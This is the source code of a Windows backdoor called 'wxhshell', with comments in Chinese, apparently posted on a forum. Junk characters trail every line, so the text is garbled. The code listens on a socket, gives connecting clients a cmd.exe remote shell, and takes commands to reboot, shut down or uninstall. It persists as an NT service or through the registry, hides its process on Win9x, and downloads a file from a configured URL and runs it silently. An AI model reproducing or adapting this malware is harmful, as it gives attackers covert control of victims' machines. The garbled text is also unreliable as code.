    switch(cmd[0]) { mKg@W;0ML  
  ke.7Zp2.R  
  // 帮助 GZ0aOpUWVq  
  case '?': { WY)^1Gb$ux  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); < 3 j~=-  
    break; hK}bj  
  } 2neRJ  
  // 安装 ]?9[l76O7  
  case 'i': { ^^$vR[7  
    if(Install()) #Y,A[Y5jX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Tm- g#  
    else [7"}=9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D?+ RJs  
    break; >4![&&  
    } >3 Ko.3&  
  // 卸载 n'64;J5  
  case 'r': { iM64,wnA  
    if(Uninstall()) .:;fAJPf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {u 30r c"  
    else c%YDt`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A:Rw@ B$  
    break; t58m=4  
    } d0C8*ifFO  
  // 显示 wxhshell 所在路径 '=TTa  
  case 'p': { 9Nl* 4  
    char svExeFile[MAX_PATH]; U %:c],Fk  
    strcpy(svExeFile,"\n\r"); Z[,`"}}hv=  
      strcat(svExeFile,ExeFile); 135Par5v  
        send(wsh,svExeFile,strlen(svExeFile),0); U \Dca&=  
    break; -Q`C q |s  
    } iAz UaF  
  // 重启 "zZ&n3=@  
  case 'b': { '}O!2W&Y]%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PF ;YE6  
    if(Boot(REBOOT)) |qL;Nu,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:tpL(%  
    else { V}`M<A6:  
    closesocket(wsh); *t =i  
    ExitThread(0); '=%i,  
    } `QCD$=  
    break; jCWu\Oe  
    } !=M/j}  
  // 关机 6bL"LM`s  
  case 'd': { lgG8!Ja  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .D@/y uV  
    if(Boot(SHUTDOWN)) j-P^Zv};u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FYeEG  
    else { [u\CDsX  
    closesocket(wsh); px&=((Z7>  
    ExitThread(0); H*qD: N  
    } iy 3DX|]  
    break; [oHOHp/V  
    } Pw #2<>  
  // 获取shell rAatJc"0  
  case 's': { \2eFpy(  
    CmdShell(wsh); WB"$u2{|i  
    closesocket(wsh); cJq<9(  
    ExitThread(0); KS>Fl->  
    break; 2wOy}:  
  } I;iR(Hf)?q  
  // 退出 lWl-@ *'  
  case 'x': { ?HxS)Pqq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [xS5z1;  
    CloseIt(wsh); JE%i-UVH+;  
    break; s#Q _Gu  
    } LsotgQ8   
  // 离开 >\-3P $  
  case 'q': { Hrv),Ce  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wL|7mMM,  
    closesocket(wsh); hd=j56P5P  
    WSACleanup(); I! ITM<Z$l  
    exit(1); &.*T\3UO  
    break; <\xQ7|e  
        } @{de$ ODu  
  } lvig>0:M  
  } h=wf>^l  
NFM-)Z57  
  // 提示信息 |=OpzCs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b2%blQgo  
} {G]`1Q1DR  
  } RQJ9MG w  
.hnF]_QQ  
  return; .kzms  
} 9w$7VW;  
Ty iU1,oO  
// shell模块句柄 {N@Y<=+:  
int CmdShell(SOCKET sock) JbVi1?c  
{ 6A@Lj*:2m  
STARTUPINFO si; VG#$fRrZ  
ZeroMemory(&si,sizeof(si)); :EaiM J_=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {C,  #rj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nR#a)et  
PROCESS_INFORMATION ProcessInfo; a#6,#Q"  
char cmdline[]="cmd"; A9.;>8!u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 92NC]_jw  
  return 0; -q|*M:R  
} | )S{(#k  
i&B?4J)  
// 自身启动模式 T7X!#j" \  
int StartFromService(void) EXH!glR[$  
{ 2tlO"c:_/  
typedef struct 'NRN_c9  
{ Hm<M@M$aG  
  DWORD ExitStatus; -<12~HKK::  
  DWORD PebBaseAddress; gtl;P_  
  DWORD AffinityMask; aSxG|OkKy  
  DWORD BasePriority; Ny[s+2?  
  ULONG UniqueProcessId; 4I+.^7d  
  ULONG InheritedFromUniqueProcessId; sF, uIr/  
}   PROCESS_BASIC_INFORMATION; Xd5! Ti}  
&?fvt  
PROCNTQSIP NtQueryInformationProcess; c[6zX#{`  
=NI.d>kvC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E{?L= ^cU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ |J*E38  
@b>YkJDk  
  HANDLE             hProcess; q 8tP29  
  PROCESS_BASIC_INFORMATION pbi; tgS+" ugl  
_;%.1H{N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R\i]O  
  if(NULL == hInst ) return 0; ENpaaW@!Y  
4E,hcu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); re2Fv:4{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c@)pKi#W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ``/y=k/au  
?cA8P.?^A  
  if (!NtQueryInformationProcess) return 0; aslNlH6  
_g^E%@'W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oa?!50d  
  if(!hProcess) return 0; x*k65WO\  
Pi^ECSzQu[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8dYk3 sk  
9 #.<E5:  
  CloseHandle(hProcess); |A2W8b {]  
&P{o{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I}I}K~se*  
if(hProcess==NULL) return 0; LJ:mJ#  
7v.#o4nPK  
HMODULE hMod; D6"~fjHh  
char procName[255]; 1 NB2y[  
unsigned long cbNeeded; n+:m _2T  
U`HXsq p}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AD0ptHUBa  
1 yxZ  
  CloseHandle(hProcess); @|jKO5Y  
cS. 7\0$  
if(strstr(procName,"services")) return 1; // 以服务启动 ^M[-K`c}  
Mt]=v}z  
  return 0; // 注册表启动 _m) gO/02A  
} h0&>GY;i  
n$}R/*  
// 主模块 I 0x`H)DA  
int StartWxhshell(LPSTR lpCmdLine) \a9D[wk;@  
{ OcyiL)tv5  
  SOCKET wsl; u-]vK  
BOOL val=TRUE; g!~-^_F  
  int port=0; 5&G Q=m  
  struct sockaddr_in door; p3>Q<  
mdmZ1:PBM  
  if(wscfg.ws_autoins) Install(); YMd&To0s  
a 5~G  
port=atoi(lpCmdLine); /gMa"5?,  
OtrXYiKB   
if(port<=0) port=wscfg.ws_port; @+QYWh'  
9y d-&yDG  
  WSADATA data;  <Hq6]\<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G "c&C  
VPq5xSc?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {66Q" H"I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @1`W<WP  
  door.sin_family = AF_INET; *FI5z[8,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /ynKKJx<Y  
  door.sin_port = htons(port); >llwNT  
&Sa_%:*D(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \.XT:B_  
closesocket(wsl); "W3n BaG  
return 1; '=Ip5A{S/  
} v '"1/% L  
rH [+/&w5  
  if(listen(wsl,2) == INVALID_SOCKET) { E.WNykF-  
closesocket(wsl); 9Y!0>&o  
return 1; DkF@XK0c3  
} Wme1Uid  
  Wxhshell(wsl); *_<SWTE  
  WSACleanup(); TV$\v@\ =  
}+QhW]nO{F  
return 0; 6_ 33*/>=c  
BIHHRCe:@n  
} \]~kyy  
ePPp)=  
// 以NT服务方式启动 2\$WP-)%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l>[QrRXiSN  
{ ouu-wQ|(mM  
DWORD   status = 0; :_I wc=  
  DWORD   specificError = 0xfffffff; a{%52B"  
&)fhlp5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sl+jduc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;N> {1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *h5ldP  
  serviceStatus.dwWin32ExitCode     = 0; !`d832  
  serviceStatus.dwServiceSpecificExitCode = 0; Hz;jJ&S  
  serviceStatus.dwCheckPoint       = 0; &zg$H,@Qp  
  serviceStatus.dwWaitHint       = 0; v3VLvh 2)n  
=%#$HQ=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /4f 5s#hR  
  if (hServiceStatusHandle==0) return; pRDON)$  
leX7(Y;!a7  
status = GetLastError(); GakmROZ@9  
  if (status!=NO_ERROR) qQ?,|4)y  
{ *BP\6"X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1z $}*`  
    serviceStatus.dwCheckPoint       = 0; u\Erta`  
    serviceStatus.dwWaitHint       = 0; 2+r )VF:  
    serviceStatus.dwWin32ExitCode     = status; EnsNO_"e|  
    serviceStatus.dwServiceSpecificExitCode = specificError; {TcbCjyw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $.x?in|_  
    return; PL$(/Z  
  } !m/Dd0  
v2W"+QS}u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ej{eq^n  
  serviceStatus.dwCheckPoint       = 0; %+j]vP  
  serviceStatus.dwWaitHint       = 0; s].'@_~s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F%ylR^H>  
} STF}~`b:3  
V+"*A  
// 处理NT服务事件,比如:启动、停止 GQ8D j!8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H(*=9  
{ Pc\4 QvQ8  
switch(fdwControl) _ UVX  
{ | xErA  
case SERVICE_CONTROL_STOP: #mz,HK0|aC  
  serviceStatus.dwWin32ExitCode = 0; "< hx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f >, Qhl  
  serviceStatus.dwCheckPoint   = 0; #uRq] 'P  
  serviceStatus.dwWaitHint     = 0; l7r N  
  { ]@j"0F/`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =[tls^  
  } `QyALcO   
  return; J1v0 \  
case SERVICE_CONTROL_PAUSE: lLwQridFXh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \`iW__  
  break; I!i#=  
case SERVICE_CONTROL_CONTINUE: `sp'Cl!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,h)T(  
  break; %>*0.)wG  
case SERVICE_CONTROL_INTERROGATE: 6@_@nlA<1  
  break; 0g*r!aa  
}; 5l7L@Ey  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LZAj4|~,m  
} WU4vb  
xYkgNXGs5  
// 标准应用程序主函数 @x>$_:]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BNKo6:wy  
{ N=?kEX O  
Xe^=(| M  
// 获取操作系统版本 A%2M]];%X  
OsIsNt=GetOsVer(); !6 fpMo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =D"63fP1  
)V =K#MCK  
  // 从命令行安装 *U^\Mwp  
  if(strpbrk(lpCmdLine,"iI")) Install(); "GC]E8&>H  
PAWr1]DI  
  // 下载执行文件 )GT?Wd  
if(wscfg.ws_downexe) { *t-A6)2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +>9^])K|  
  WinExec(wscfg.ws_filenam,SW_HIDE); OD!CnK  
} ug3lMN4UX  
Hn'2'Vu  
if(!OsIsNt) { t-gNG!B  
// 如果时win9x,隐藏进程并且设置为注册表启动 hq[ gj?P  
HideProc(); v>cE59('0  
StartWxhshell(lpCmdLine); k2,oyUT=S  
} x%?*]*W  
else ,8-_=*  
  if(StartFromService()) $6x:aG*F  
  // 以服务方式启动 p'c<v)ia  
  StartServiceCtrlDispatcher(DispatchTable); qYiK bzy  
else :g:h 0'G  
  // 普通方式启动 Pge}xKT  
  StartWxhshell(lpCmdLine); 2P> za\  
'L+BkE6+%  
return 0; $Aoqtz d\  
}
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只看该作者 1 发表于: 2006-10-10
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